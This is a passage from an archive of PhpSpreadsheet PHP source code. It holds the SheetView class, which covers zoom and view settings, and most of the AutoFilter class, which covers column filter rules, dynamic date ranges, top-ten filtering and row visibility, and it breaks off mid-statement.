behavior by returning the range if object is * referenced as a property of its worksheet. */ public function __toString(): string { return (string) $this->range; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/SheetView.php000064400000011576151676714400021650 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; class SheetView { // Sheet View types const SHEETVIEW_NORMAL = 'normal'; const SHEETVIEW_PAGE_LAYOUT = 'pageLayout'; const SHEETVIEW_PAGE_BREAK_PREVIEW = 'pageBreakPreview'; private const SHEET_VIEW_TYPES = [ self::SHEETVIEW_NORMAL, self::SHEETVIEW_PAGE_LAYOUT, self::SHEETVIEW_PAGE_BREAK_PREVIEW, ]; /** * ZoomScale. * * Valid values range from 10 to 400. */ private ?int $zoomScale = 100; /** * ZoomScaleNormal. * * Valid values range from 10 to 400. */ private ?int $zoomScaleNormal = 100; /** * ZoomScalePageLayoutView. * * Valid values range from 10 to 400. */ private int $zoomScalePageLayoutView = 100; /** * ZoomScaleSheetLayoutView. * * Valid values range from 10 to 400. */ private int $zoomScaleSheetLayoutView = 100; /** * ShowZeros. * * If true, "null" values from a calculation will be shown as "0". This is the default Excel behaviour and can be changed * with the advanced worksheet option "Show a zero in cells that have zero value" */ private bool $showZeros = true; /** * View. * * Valid values range from 10 to 400. */ private string $sheetviewType = self::SHEETVIEW_NORMAL; /** * Create a new SheetView. */ public function __construct() { } /** * Get ZoomScale. */ public function getZoomScale(): ?int { return $this->zoomScale; } /** * Set ZoomScale. * Valid values range from 10 to 400. * * @return $this */ public function setZoomScale(?int $zoomScale): static { // Microsoft Office Excel 2007 only allows setting a scale between 10 and 400 via the user interface, // but it is apparently still able to handle any scale >= 1 if ($zoomScale === null || $zoomScale >= 1) { $this->zoomScale = $zoomScale; } else { throw new PhpSpreadsheetException('Scale must be greater than or equal to 1.'); } return $this; } /** * Get ZoomScaleNormal. */ public function getZoomScaleNormal(): ?int { return $this->zoomScaleNormal; } /** * Set ZoomScale. * Valid values range from 10 to 400. * * @return $this */ public function setZoomScaleNormal(?int $zoomScaleNormal): static { if ($zoomScaleNormal === null || $zoomScaleNormal >= 1) { $this->zoomScaleNormal = $zoomScaleNormal; } else { throw new PhpSpreadsheetException('Scale must be greater than or equal to 1.'); } return $this; } public function getZoomScalePageLayoutView(): int { return $this->zoomScalePageLayoutView; } public function setZoomScalePageLayoutView(int $zoomScalePageLayoutView): static { if ($zoomScalePageLayoutView >= 1) { $this->zoomScalePageLayoutView = $zoomScalePageLayoutView; } else { throw new PhpSpreadsheetException('Scale must be greater than or equal to 1.'); } return $this; } public function getZoomScaleSheetLayoutView(): int { return $this->zoomScaleSheetLayoutView; } public function setZoomScaleSheetLayoutView(int $zoomScaleSheetLayoutView): static { if ($zoomScaleSheetLayoutView >= 1) { $this->zoomScaleSheetLayoutView = $zoomScaleSheetLayoutView; } else { throw new PhpSpreadsheetException('Scale must be greater than or equal to 1.'); } return $this; } /** * Set ShowZeroes setting. */ public function setShowZeros(bool $showZeros): void { $this->showZeros = $showZeros; } public function getShowZeros(): bool { return $this->showZeros; } /** * Get View. */ public function getView(): string { return $this->sheetviewType; } /** * Set View. * * Valid values are * 'normal' self::SHEETVIEW_NORMAL * 'pageLayout' self::SHEETVIEW_PAGE_LAYOUT * 'pageBreakPreview' self::SHEETVIEW_PAGE_BREAK_PREVIEW * * @return $this */ public function setView(?string $sheetViewType): static { // MS Excel 2007 allows setting the view to 'normal', 'pageLayout' or 'pageBreakPreview' via the user interface if ($sheetViewType === null) { $sheetViewType = self::SHEETVIEW_NORMAL; } if (in_array($sheetViewType, self::SHEET_VIEW_TYPES)) { $this->sheetviewType = $sheetViewType; } else { throw new PhpSpreadsheetException('Invalid sheetview layout type.'); } return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/AutoFilter.php000064400000121272151676714400022016 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use DateTime; use DateTimeZone; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Internal\WildcardMatch; use PhpOffice\PhpSpreadsheet\Cell\AddressRange; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Shared\Date; use PhpOffice\PhpSpreadsheet\Worksheet\AutoFilter\Column\Rule; use Stringable; class AutoFilter implements Stringable { /** * Autofilter Worksheet. */ private ?Worksheet $workSheet; /** * Autofilter Range. */ private string $range; /** * Autofilter Column Ruleset. * * @var AutoFilter\Column[] */ private array $columns = []; private bool $evaluated = false; public function getEvaluated(): bool { return $this->evaluated; } public function setEvaluated(bool $value): void { $this->evaluated = $value; } /** * Create a new AutoFilter. * * @param AddressRange|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range * A simple string containing a Cell range like 'A1:E10' is permitted * or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]), * or an AddressRange object. */ public function __construct(AddressRange|string|array $range = '', ?Worksheet $worksheet = null) { if ($range !== '') { [, $range] = Worksheet::extractSheetTitle(Validations::validateCellRange($range), true); } $this->range = $range ?? ''; $this->workSheet = $worksheet; } public function __destruct() { $this->workSheet = null; } /** * Get AutoFilter Parent Worksheet. */ public function getParent(): null|Worksheet { return $this->workSheet; } /** * Set AutoFilter Parent Worksheet. * * @return $this */ public function setParent(?Worksheet $worksheet = null): static { $this->evaluated = false; $this->workSheet = $worksheet; return $this; } /** * Get AutoFilter Range. */ public function getRange(): string { return $this->range; } /** * Set AutoFilter Cell Range. * * @param AddressRange|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range * A simple string containing a Cell range like 'A1:E10' or a Cell address like 'A1' is permitted * or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]), * or an AddressRange object. */ public function setRange(AddressRange|string|array $range = ''): self { $this->evaluated = false; // extract coordinate if ($range !== '') { [, $range] = Worksheet::extractSheetTitle(Validations::validateCellRange($range), true); } if (empty($range)) { // Discard all column rules $this->columns = []; $this->range = ''; return $this; } if (ctype_digit($range) || ctype_alpha($range)) { throw new Exception("{$range} is an invalid range for AutoFilter"); } $this->range = $range; // Discard any column rules that are no longer valid within this range [$rangeStart, $rangeEnd] = Coordinate::rangeBoundaries($this->range); foreach ($this->columns as $key => $value) { $colIndex = Coordinate::columnIndexFromString($key); if (($rangeStart[0] > $colIndex) || ($rangeEnd[0] < $colIndex)) { unset($this->columns[$key]); } } return $this; } public function setRangeToMaxRow(): self { $this->evaluated = false; if ($this->workSheet !== null) { $thisrange = $this->range; $range = (string) preg_replace('/\\d+$/', (string) $this->workSheet->getHighestRow(), $thisrange); if ($range !== $thisrange) { $this->setRange($range); } } return $this; } /** * Get all AutoFilter Columns. * * @return AutoFilter\Column[] */ public function getColumns(): array { return $this->columns; } /** * Validate that the specified column is in the AutoFilter range. * * @param string $column Column name (e.g. A) * * @return int The column offset within the autofilter range */ public function testColumnInRange(string $column): int { if (empty($this->range)) { throw new Exception('No autofilter range is defined.'); } $columnIndex = Coordinate::columnIndexFromString($column); [$rangeStart, $rangeEnd] = Coordinate::rangeBoundaries($this->range); if (($rangeStart[0] > $columnIndex) || ($rangeEnd[0] < $columnIndex)) { throw new Exception('Column is outside of current autofilter range.'); } return $columnIndex - $rangeStart[0]; } /** * Get a specified AutoFilter Column Offset within the defined AutoFilter range. * * @param string $column Column name (e.g. A) * * @return int The offset of the specified column within the autofilter range */ public function getColumnOffset(string $column): int { return $this->testColumnInRange($column); } /** * Get a specified AutoFilter Column. * * @param string $column Column name (e.g. A) */ public function getColumn(string $column): AutoFilter\Column { $this->testColumnInRange($column); if (!isset($this->columns[$column])) { $this->columns[$column] = new AutoFilter\Column($column, $this); } return $this->columns[$column]; } /** * Get a specified AutoFilter Column by it's offset. * * @param int $columnOffset Column offset within range (starting from 0) */ public function getColumnByOffset(int $columnOffset): AutoFilter\Column { [$rangeStart, $rangeEnd] = Coordinate::rangeBoundaries($this->range); $pColumn = Coordinate::stringFromColumnIndex($rangeStart[0] + $columnOffset); return $this->getColumn($pColumn); } /** * Set AutoFilter. * * @param AutoFilter\Column|string $columnObjectOrString * A simple string containing a Column ID like 'A' is permitted * * @return $this */ public function setColumn(AutoFilter\Column|string $columnObjectOrString): static { $this->evaluated = false; if ((is_string($columnObjectOrString)) && (!empty($columnObjectOrString))) { $column = $columnObjectOrString; } elseif ($columnObjectOrString instanceof AutoFilter\Column) { $column = $columnObjectOrString->getColumnIndex(); } else { throw new Exception('Column is not within the autofilter range.'); } $this->testColumnInRange($column); if (is_string($columnObjectOrString)) { $this->columns[$columnObjectOrString] = new AutoFilter\Column($columnObjectOrString, $this); } else { $columnObjectOrString->setParent($this); $this->columns[$column] = $columnObjectOrString; } ksort($this->columns); return $this; } /** * Clear a specified AutoFilter Column. * * @param string $column Column name (e.g. A) * * @return $this */ public function clearColumn(string $column): static { $this->evaluated = false; $this->testColumnInRange($column); if (isset($this->columns[$column])) { unset($this->columns[$column]); } return $this; } /** * Shift an AutoFilter Column Rule to a different column. * * Note: This method bypasses validation of the destination column to ensure it is within this AutoFilter range. * Nor does it verify whether any column rule already exists at $toColumn, but will simply override any existing value. * Use with caution. * * @param string $fromColumn Column name (e.g. A) * @param string $toColumn Column name (e.g. B) * * @return $this */ public function shiftColumn(string $fromColumn, string $toColumn): static { $this->evaluated = false; $fromColumn = strtoupper($fromColumn); $toColumn = strtoupper($toColumn); if (($fromColumn !== null) && (isset($this->columns[$fromColumn])) && ($toColumn !== null)) { $this->columns[$fromColumn]->setParent(); $this->columns[$fromColumn]->setColumnIndex($toColumn); $this->columns[$toColumn] = $this->columns[$fromColumn]; $this->columns[$toColumn]->setParent($this); unset($this->columns[$fromColumn]); ksort($this->columns); } return $this; } /** * Test if cell value is in the defined set of values. * * @param mixed[] $dataSet */ protected static function filterTestInSimpleDataSet(mixed $cellValue, array $dataSet): bool { $dataSetValues = $dataSet['filterValues']; $blanks = $dataSet['blanks']; if (($cellValue == '') || ($cellValue === null)) { return $blanks; } return in_array($cellValue, $dataSetValues); } /** * Test if cell value is in the defined set of Excel date values. * * @param mixed[] $dataSet */ protected static function filterTestInDateGroupSet(mixed $cellValue, array $dataSet): bool { $dateSet = $dataSet['filterValues']; $blanks = $dataSet['blanks']; if (($cellValue == '') || ($cellValue === null)) { return $blanks; } $timeZone = new DateTimeZone('UTC'); if (is_numeric($cellValue)) { $dateTime = Date::excelToDateTimeObject((float) $cellValue, $timeZone); $cellValue = (float) $cellValue; if ($cellValue < 1) { // Just the time part $dtVal = $dateTime->format('His'); $dateSet = $dateSet['time']; } elseif ($cellValue == floor($cellValue)) { // Just the date part $dtVal = $dateTime->format('Ymd'); $dateSet = $dateSet['date']; } else { // date and time parts $dtVal = $dateTime->format('YmdHis'); $dateSet = $dateSet['dateTime']; } foreach ($dateSet as $dateValue) { // Use of substr to extract value at the appropriate group level if (str_starts_with($dtVal, $dateValue)) { return true; } } } return false; } /** * Test if cell value is within a set of values defined by a ruleset. * * @param mixed[] $ruleSet */ protected static function filterTestInCustomDataSet(mixed $cellValue, array $ruleSet): bool { /** @var array[] $dataSet */ $dataSet = $ruleSet['filterRules']; $join = $ruleSet['join']; $customRuleForBlanks = $ruleSet['customRuleForBlanks'] ?? false; if (!$customRuleForBlanks) { // Blank cells are always ignored, so return a FALSE if (($cellValue == '') || ($cellValue === null)) { return false; } } $returnVal = ($join == AutoFilter\Column::AUTOFILTER_COLUMN_JOIN_AND); foreach ($dataSet as $rule) { /** @var string $ruleValue */ $ruleValue = $rule['value']; /** @var string $ruleOperator */ $ruleOperator = $rule['operator']; /** @var string $cellValueString */ $cellValueString = $cellValue ?? ''; $retVal = false; if (is_numeric($ruleValue)) { // Numeric values are tested using the appropriate operator $numericTest = is_numeric($cellValue); switch ($ruleOperator) { case Rule::AUTOFILTER_COLUMN_RULE_EQUAL: $retVal = $numericTest && ($cellValue == $ruleValue); break; case Rule::AUTOFILTER_COLUMN_RULE_NOTEQUAL: $retVal = !$numericTest || ($cellValue != $ruleValue); break; case Rule::AUTOFILTER_COLUMN_RULE_GREATERTHAN: $retVal = $numericTest && ($cellValue > $ruleValue); break; case Rule::AUTOFILTER_COLUMN_RULE_GREATERTHANOREQUAL: $retVal = $numericTest && ($cellValue >= $ruleValue); break; case Rule::AUTOFILTER_COLUMN_RULE_LESSTHAN: $retVal = $numericTest && ($cellValue < $ruleValue); break; case Rule::AUTOFILTER_COLUMN_RULE_LESSTHANOREQUAL: $retVal = $numericTest && ($cellValue <= $ruleValue); break; } } elseif ($ruleValue == '') { $retVal = match ($ruleOperator) { Rule::AUTOFILTER_COLUMN_RULE_EQUAL => ($cellValue == '') || ($cellValue === null), Rule::AUTOFILTER_COLUMN_RULE_NOTEQUAL => ($cellValue != '') && ($cellValue !== null), default => true, }; } else { // String values are always tested for equality, factoring in for wildcards (hence a regexp test) switch ($ruleOperator) { case Rule::AUTOFILTER_COLUMN_RULE_EQUAL: $retVal = (bool) preg_match('/^' . $ruleValue . '$/i', $cellValueString); break; case Rule::AUTOFILTER_COLUMN_RULE_NOTEQUAL: $retVal = !((bool) preg_match('/^' . $ruleValue . '$/i', $cellValueString)); break; case Rule::AUTOFILTER_COLUMN_RULE_GREATERTHAN: $retVal = strcasecmp($cellValueString, $ruleValue) > 0; break; case Rule::AUTOFILTER_COLUMN_RULE_GREATERTHANOREQUAL: $retVal = strcasecmp($cellValueString, $ruleValue) >= 0; break; case Rule::AUTOFILTER_COLUMN_RULE_LESSTHAN: $retVal = strcasecmp($cellValueString, $ruleValue) < 0; break; case Rule::AUTOFILTER_COLUMN_RULE_LESSTHANOREQUAL: $retVal = strcasecmp($cellValueString, $ruleValue) <= 0; break; } } // If there are multiple conditions, then we need to test both using the appropriate join operator switch ($join) { case AutoFilter\Column::AUTOFILTER_COLUMN_JOIN_OR: $returnVal = $returnVal || $retVal; // Break as soon as we have a TRUE match for OR joins, // to avoid unnecessary additional code execution if ($returnVal) { return $returnVal; } break; case AutoFilter\Column::AUTOFILTER_COLUMN_JOIN_AND: $returnVal = $returnVal && $retVal; break; } } return $returnVal; } /** * Test if cell date value is matches a set of values defined by a set of months. * * @param mixed[] $monthSet */ protected static function filterTestInPeriodDateSet(mixed $cellValue, array $monthSet): bool { // Blank cells are always ignored, so return a FALSE if (($cellValue == '') || ($cellValue === null)) { return false; } if (is_numeric($cellValue)) { $dateObject = Date::excelToDateTimeObject((float) $cellValue, new DateTimeZone('UTC')); $dateValue = (int) $dateObject->format('m'); if (in_array($dateValue, $monthSet)) { return true; } } return false; } private static function makeDateObject(int $year, int $month, int $day, int $hour = 0, int $minute = 0, int $second = 0): DateTime { $baseDate = new DateTime(); $baseDate->setDate($year, $month, $day); $baseDate->setTime($hour, $minute, $second); return $baseDate; } private const DATE_FUNCTIONS = [ Rule::AUTOFILTER_RULETYPE_DYNAMIC_LASTMONTH => 'dynamicLastMonth', Rule::AUTOFILTER_RULETYPE_DYNAMIC_LASTQUARTER => 'dynamicLastQuarter', Rule::AUTOFILTER_RULETYPE_DYNAMIC_LASTWEEK => 'dynamicLastWeek', Rule::AUTOFILTER_RULETYPE_DYNAMIC_LASTYEAR => 'dynamicLastYear', Rule::AUTOFILTER_RULETYPE_DYNAMIC_NEXTMONTH => 'dynamicNextMonth', Rule::AUTOFILTER_RULETYPE_DYNAMIC_NEXTQUARTER => 'dynamicNextQuarter', Rule::AUTOFILTER_RULETYPE_DYNAMIC_NEXTWEEK => 'dynamicNextWeek', Rule::AUTOFILTER_RULETYPE_DYNAMIC_NEXTYEAR => 'dynamicNextYear', Rule::AUTOFILTER_RULETYPE_DYNAMIC_THISMONTH => 'dynamicThisMonth', Rule::AUTOFILTER_RULETYPE_DYNAMIC_THISQUARTER => 'dynamicThisQuarter', Rule::AUTOFILTER_RULETYPE_DYNAMIC_THISWEEK => 'dynamicThisWeek', Rule::AUTOFILTER_RULETYPE_DYNAMIC_THISYEAR => 'dynamicThisYear', Rule::AUTOFILTER_RULETYPE_DYNAMIC_TODAY => 'dynamicToday', Rule::AUTOFILTER_RULETYPE_DYNAMIC_TOMORROW => 'dynamicTomorrow', Rule::AUTOFILTER_RULETYPE_DYNAMIC_YEARTODATE => 'dynamicYearToDate', Rule::AUTOFILTER_RULETYPE_DYNAMIC_YESTERDAY => 'dynamicYesterday', ]; private static function dynamicLastMonth(): array { $maxval = new DateTime(); $year = (int) $maxval->format('Y'); $month = (int) $maxval->format('m'); $maxval->setDate($year, $month, 1); $maxval->setTime(0, 0, 0); $val = clone $maxval; $val->modify('-1 month'); return [$val, $maxval]; } private static function firstDayOfQuarter(): DateTime { $val = new DateTime(); $year = (int) $val->format('Y'); $month = (int) $val->format('m'); $month = 3 * intdiv($month - 1, 3) + 1; $val->setDate($year, $month, 1); $val->setTime(0, 0, 0); return $val; } private static function dynamicLastQuarter(): array { $maxval = self::firstDayOfQuarter(); $val = clone $maxval; $val->modify('-3 months'); return [$val, $maxval]; } private static function dynamicLastWeek(): array { $val = new DateTime(); $val->setTime(0, 0, 0); $dayOfWeek = (int) $val->format('w'); // Sunday is 0 $subtract = $dayOfWeek + 7; // revert to prior Sunday $val->modify("-$subtract days"); $maxval = clone $val; $maxval->modify('+7 days'); return [$val, $maxval]; } private static function dynamicLastYear(): array { $val = new DateTime(); $year = (int) $val->format('Y'); $val = self::makeDateObject($year - 1, 1, 1); $maxval = self::makeDateObject($year, 1, 1); return [$val, $maxval]; } private static function dynamicNextMonth(): array { $val = new DateTime(); $year = (int) $val->format('Y'); $month = (int) $val->format('m'); $val->setDate($year, $month, 1); $val->setTime(0, 0, 0); $val->modify('+1 month'); $maxval = clone $val; $maxval->modify('+1 month'); return [$val, $maxval]; } private static function dynamicNextQuarter(): array { $val = self::firstDayOfQuarter(); $val->modify('+3 months'); $maxval = clone $val; $maxval->modify('+3 months'); return [$val, $maxval]; } private static function dynamicNextWeek(): array { $val = new DateTime(); $val->setTime(0, 0, 0); $dayOfWeek = (int) $val->format('w'); // Sunday is 0 $add = 7 - $dayOfWeek; // move to next Sunday $val->modify("+$add days"); $maxval = clone $val; $maxval->modify('+7 days'); return [$val, $maxval]; } private static function dynamicNextYear(): array { $val = new DateTime(); $year = (int) $val->format('Y'); $val = self::makeDateObject($year + 1, 1, 1); $maxval = self::makeDateObject($year + 2, 1, 1); return [$val, $maxval]; } private static function dynamicThisMonth(): array { $baseDate = new DateTime(); $baseDate->setTime(0, 0, 0); $year = (int) $baseDate->format('Y'); $month = (int) $baseDate->format('m'); $val = self::makeDateObject($year, $month, 1); $maxval = clone $val; $maxval->modify('+1 month'); return [$val, $maxval]; } private static function dynamicThisQuarter(): array { $val = self::firstDayOfQuarter(); $maxval = clone $val; $maxval->modify('+3 months'); return [$val, $maxval]; } private static function dynamicThisWeek(): array { $val = new DateTime(); $val->setTime(0, 0, 0); $dayOfWeek = (int) $val->format('w'); // Sunday is 0 $subtract = $dayOfWeek; // revert to Sunday $val->modify("-$subtract days"); $maxval = clone $val; $maxval->modify('+7 days'); return [$val, $maxval]; } private static function dynamicThisYear(): array { $val = new DateTime(); $year = (int) $val->format('Y'); $val = self::makeDateObject($year, 1, 1); $maxval = self::makeDateObject($year + 1, 1, 1); return [$val, $maxval]; } private static function dynamicToday(): array { $val = new DateTime(); $val->setTime(0, 0, 0); $maxval = clone $val; $maxval->modify('+1 day'); return [$val, $maxval]; } private static function dynamicTomorrow(): array { $val = new DateTime(); $val->setTime(0, 0, 0); $val->modify('+1 day'); $maxval = clone $val; $maxval->modify('+1 day'); return [$val, $maxval]; } private static function dynamicYearToDate(): array { $maxval = new DateTime(); $maxval->setTime(0, 0, 0); $val = self::makeDateObject((int) $maxval->format('Y'), 1, 1); $maxval->modify('+1 day'); return [$val, $maxval]; } private static function dynamicYesterday(): array { $maxval = new DateTime(); $maxval->setTime(0, 0, 0); $val = clone $maxval; $val->modify('-1 day'); return [$val, $maxval]; } /** * Convert a dynamic rule daterange to a custom filter range expression for ease of calculation. * * @return mixed[] */ private function dynamicFilterDateRange(string $dynamicRuleType, AutoFilter\Column &$filterColumn): array { $ruleValues = []; $callBack = [__CLASS__, self::DATE_FUNCTIONS[$dynamicRuleType]]; // What if not found? // Calculate start/end dates for the required date range based on current date // Val is lowest permitted value. // Maxval is greater than highest permitted value $val = $maxval = 0; if (is_callable($callBack)) { [$val, $maxval] = $callBack(); } $val = Date::dateTimeToExcel($val); $maxval = Date::dateTimeToExcel($maxval); // Set the filter column rule attributes ready for writing $filterColumn->setAttributes(['val' => $val, 'maxVal' => $maxval]); // Set the rules for identifying rows for hide/show $ruleValues[] = ['operator' => Rule::AUTOFILTER_COLUMN_RULE_GREATERTHANOREQUAL, 'value' => $val]; $ruleValues[] = ['operator' => Rule::AUTOFILTER_COLUMN_RULE_LESSTHAN, 'value' => $maxval]; return ['method' => 'filterTestInCustomDataSet', 'arguments' => ['filterRules' => $ruleValues, 'join' => AutoFilter\Column::AUTOFILTER_COLUMN_JOIN_AND]]; } /** * Apply the AutoFilter rules to the AutoFilter Range. */ private function calculateTopTenValue(string $columnID, int $startRow, int $endRow, ?string $ruleType, mixed $ruleValue): mixed { $range = $columnID . $startRow . ':' . $columnID . $endRow; $retVal = null; if ($this->workSheet !== null) { $dataValues = Functions::flattenArray($this->workSheet->rangeToArray($range, null, true, false)); $dataValues = array_filter($dataValues); if ($ruleType == Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_TOP) { rsort($dataValues); } else { sort($dataValues); } $slice = array_slice($dataValues, 0, $ruleValue); $retVal = array_pop($slice); } return $retVal; } /** * Apply the AutoFilter rules to the AutoFilter Range. * * @return $this */ public function showHideRows(): static { if ($this->workSheet === null) { return $this; } [$rangeStart, $rangeEnd] = Coordinate::rangeBoundaries($this->range); // The heading row should always be visible $this->workSheet->getRowDimension($rangeStart[1])->setVisible(true); $columnFilterTests = []; foreach ($this->columns as $columnID => $filterColumn) { $rules = $filterColumn->getRules(); switch ($filterColumn->getFilterType()) { case AutoFilter\Column::AUTOFILTER_FILTERTYPE_FILTER: $ruleType = null; $ruleValues = []; // Build a list of the filter value selections foreach ($rules as $rule) { $ruleType = $rule->getRuleType(); $ruleValues[] = $rule->getValue(); } // Test if we want to include blanks in our filter criteria $blanks = false; $ruleDataSet = array_filter($ruleValues); if (count($ruleValues) != count($ruleDataSet)) { $blanks = true; } if ($ruleType == Rule::AUTOFILTER_RULETYPE_FILTER) { // Filter on absolute values $columnFilterTests[$columnID] = [ 'method' => 'filterTestInSimpleDataSet', 'arguments' => ['filterValues' => $ruleDataSet, 'blanks' => $blanks], ]; } elseif ($ruleType !== null) { // Filter on date group values $arguments = [ 'date' => [], 'time' => [], 'dateTime' => [], ]; foreach ($ruleDataSet as $ruleValue) { if (!is_array($ruleValue)) { continue; } $date = $time = ''; if ( (isset($ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_YEAR])) && ($ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_YEAR] !== '') ) { $date .= sprintf('%04d', $ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_YEAR]); } if ( (isset($ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_MONTH])) && ($ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_MONTH] != '') ) { $date .= sprintf('%02d', $ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_MONTH]); } if ( (isset($ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_DAY])) && ($ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_DAY] !== '') ) { $date .= sprintf('%02d', $ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_DAY]); } if ( (isset($ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_HOUR])) && ($ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_HOUR] !== '') ) { $time .= sprintf('%02d', $ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_HOUR]); } if ( (isset($ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_MINUTE])) && ($ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_MINUTE] !== '') ) { $time .= sprintf('%02d', $ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_MINUTE]); } if ( (isset($ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_SECOND])) && ($ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_SECOND] !== '') ) { $time .= sprintf('%02d', $ruleValue[Rule::AUTOFILTER_RULETYPE_DATEGROUP_SECOND]); } $dateTime = $date . $time; $arguments['date'][] = $date; $arguments['time'][] = $time; $arguments['dateTime'][] = $dateTime; } // Remove empty elements $arguments['date'] = array_filter($arguments['date']); $arguments['time'] = array_filter($arguments['time']); $arguments['dateTime'] = array_filter($arguments['dateTime']); $columnFilterTests[$columnID] = [ 'method' => 'filterTestInDateGroupSet', 'arguments' => ['filterValues' => $arguments, 'blanks' => $blanks], ]; } break; case AutoFilter\Column::AUTOFILTER_FILTERTYPE_CUSTOMFILTER: $customRuleForBlanks = true; $ruleValues = []; // Build a list of the filter value selections foreach ($rules as $rule) { $ruleValue = $rule->getValue(); if (!is_array($ruleValue) && !is_numeric($ruleValue)) { // Convert to a regexp allowing for regexp reserved characters, wildcards and escaped wildcards $ruleValue = WildcardMatch::wildcard($ruleValue); if (trim($ruleValue) == '') { $customRuleForBlanks = true; $ruleValue = trim($ruleValue); } } $ruleValues[] = ['operator' => $rule->getOperator(), 'value' => $ruleValue]; } $join = $filterColumn->getJoin(); $columnFilterTests[$columnID] = [ 'method' => 'filterTestInCustomDataSet', 'arguments' => ['filterRules' => $ruleValues, 'join' => $join, 'customRuleForBlanks' => $customRuleForBlanks], ]; break; case AutoFilter\Column::AUTOFILTER_FILTERTYPE_DYNAMICFILTER: $ruleValues = []; foreach ($rules as $rule) { // We should only ever have one Dynamic Filter Rule anyway $dynamicRuleType = $rule->getGrouping(); if ( ($dynamicRuleType == Rule::AUTOFILTER_RULETYPE_DYNAMIC_ABOVEAVERAGE) || ($dynamicRuleType == Rule::AUTOFILTER_RULETYPE_DYNAMIC_BELOWAVERAGE) ) { // Number (Average) based // Calculate the average $averageFormula = '=AVERAGE(' . $columnID . ($rangeStart[1] + 1) . ':' . $columnID . $rangeEnd[1] . ')'; $average = Calculation::getInstance($this->workSheet->getParent())->calculateFormula($averageFormula, null, $this->workSheet->getCell('A1')); while (is_array($average)) { $average = array_pop($average); } // Set above/below rule based on greaterThan or LessTan $operator = ($dynamicRuleType === Rule::AUTOFILTER_RULETYPE_DYNAMIC_ABOVEAVERAGE) ? Rule::AUTOFILTER_COLUMN_RULE_GREATERTHAN : Rule::AUTOFILTER_COLUMN_RULE_LESSTHAN; $ruleValues[] = [ 'operator' => $operator, 'value' => $average, ]; $columnFilterTests[$columnID] = [ 'method' => 'filterTestInCustomDataSet', 'arguments' => ['filterRules' => $ruleValues, 'join' => AutoFilter\Column::AUTOFILTER_COLUMN_JOIN_OR], ]; } else { // Date based if ($dynamicRuleType[0] == 'M' || $dynamicRuleType[0] == 'Q') { $periodType = ''; $period = 0; // Month or Quarter sscanf($dynamicRuleType, '%[A-Z]%d', $periodType, $period); if ($periodType == 'M') { $ruleValues = [$period]; } else { --$period; $periodEnd = (1 + $period) * 3; $periodStart = 1 + $period * 3; $ruleValues = range($periodStart, $periodEnd); } $columnFilterTests[$columnID] = [ 'method' => 'filterTestInPeriodDateSet', 'arguments' => $ruleValues, ]; $filterColumn->setAttributes([]); } else { // Date Range $columnFilterTests[$columnID] = $this->dynamicFilterDateRange($dynamicRuleType, $filterColumn); break; } } } break; case AutoFilter\Column::AUTOFILTER_FILTERTYPE_TOPTENFILTER: $ruleValues = []; $dataRowCount = $rangeEnd[1] - $rangeStart[1]; $toptenRuleType = null; $ruleValue = 0; $ruleOperator = null; foreach ($rules as $rule) { // We should only ever have one Dynamic Filter Rule anyway $toptenRuleType = $rule->getGrouping(); $ruleValue = $rule->getValue(); $ruleOperator = $rule->getOperator(); } if (is_numeric($ruleValue) && $ruleOperator === Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_PERCENT) { $ruleValue = floor((float) $ruleValue * ($dataRowCount / 100)); } if (!is_array($ruleValue) && $ruleValue < 1) { $ruleValue = 1; } if (!is_array($ruleValue) && $ruleValue > 500) { $ruleValue = 500; } $maxVal = $this->calculateTopTenValue($columnID, $rangeStart[1] + 1, (int) $rangeEnd[1], $toptenRuleType, $ruleValue); $operator = ($toptenRuleType == Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_TOP) ? Rule::AUTOFILTER_COLUMN_RULE_GREATERTHANOREQUAL : Rule::AUTOFILTER_COLUMN_RULE_LESSTHANOREQUAL; $ruleValues[] = ['operator' => $operator, 'value' => $maxVal]; $columnFilterTests[$columnID] = [ 'method' => 'filterTestInCustomDataSet', 'arguments' => ['filterRules' => $ruleValues, 'join' => AutoFilter\Column::AUTOFILTER_COLUMN_JOIN_OR], ]; $filterColumn->setAttributes(['maxVal' => $maxVal]); break; } } $rangeEnd[1] = $this->autoExtendRange($rangeStart[1], $rangeEnd[1]); // Execute the column tests for each row in the autoFilter range to determine show/hide, for ($row = $rangeStart[1] + 1; $row <= $rangeEnd[1]; ++$row) { $result = true; foreach ($columnFilterTests as $columnID => $columnFilterTest) { $cellValue = $this->workSheet->getCell($columnID . $row)->getCalculatedValue(); // Execute the filter test /** @var callable */ $temp = [self::class, 